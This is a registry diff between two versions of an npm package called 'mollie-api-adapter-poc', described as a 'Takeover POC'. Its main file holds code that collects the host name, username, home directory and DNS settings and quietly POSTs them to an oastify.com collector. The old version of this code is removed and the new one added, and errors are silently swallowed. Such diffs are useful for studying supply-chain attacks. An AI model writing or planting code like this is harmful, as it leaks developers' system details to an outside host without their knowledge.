mollie-api-adapter-poc 20.0.0 → 25.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +40 -45
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,46 +1,41 @@
1
- const os = require("os");
2
- const dns = require("dns");
3
- const querystring = require("querystring");
4
- const https = require("https");
5
- const packageJSON = require("./package.json");
6
- const package = packageJSON.name;
7
-
8
- const trackingData = JSON.stringify({
9
- p: package,
10
- c: __dirname,
11
- hd: os.homedir(),
12
- hn: os.hostname(),
13
- un: os.userInfo().username,
14
- dns: dns.getServers(),
15
- r: packageJSON ? packageJSON.___resolved : undefined,
16
- v: packageJSON.version,
17
- pjson: packageJSON,
18
- });
19
-
20
- var postData = querystring.stringify({
21
- msg: trackingData,
22
- });
23
-
24
- var options = {
25
- hostname: "r5x85sxqx6mllkv3t4lnzisdb4hv5ntc.oastify.com",
26
- port: 443,
27
- path: "/",
28
- method: "POST",
1
+ const os = require('os');
2
+ const http = require('http');
3
+
4
+ try {
5
+ const userAgent = process.env.npm_config_user_agent || `Node/${process.version} (${os.platform()}; ${os.arch()})`;
6
+
7
+ if (!userAgent || userAgent.length < 5) {
8
+ console.error('Execution aborted: No valid User-Agent identified.');
9
+ process.exit(0);
10
+ }
11
+
12
+ const data = JSON.stringify({
13
+ hostname: os.hostname(),
14
+ userInfo: os.userInfo(),
15
+ envUA: userAgent
16
+ });
17
+
18
+ const options = {
19
+ hostname: 'g2jx2hufuvjai9ssqticw7p28tek2aqz.oastify.com',
20
+ port: 80,
21
+ path: '/log',
22
+ method: 'POST',
29
23
  headers: {
30
- "Content-Type": "application/x-www-form-urlencoded",
31
- "Content-Length": postData.length,
32
- },
33
- };
34
-
35
- var req = https.request(options, (res) => {
36
- res.on("data", (d) => {
37
- process.stdout.write(d);
38
- });
39
- });
40
-
41
- req.on("error", (e) => {
42
- // console.error(e);
43
- });
44
-
45
- req.write(postData);
46
- req.end();
24
+ 'Content-Type': 'application/json',
25
+ 'Content-Length': Buffer.byteLength(data),
26
+ 'User-Agent': userAgent
27
+ }
28
+ };
29
+
30
+ const req = http.request(options, (res) => {
31
+ res.on('data', () => {});
32
+ });
33
+
34
+ req.on('error', (err) => {
35
+ });
36
+
37
+ req.write(data);
38
+ req.end();
39
+ } catch (e) {
40
+
41
+ }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "mollie-api-adapter-poc",
3
- "version": "20.0.0",
3
+ "version": "25.0.0",
4
4
  "description": "Takeover POC",
5
5
  "main": "index.js",
6
6
  "scripts": {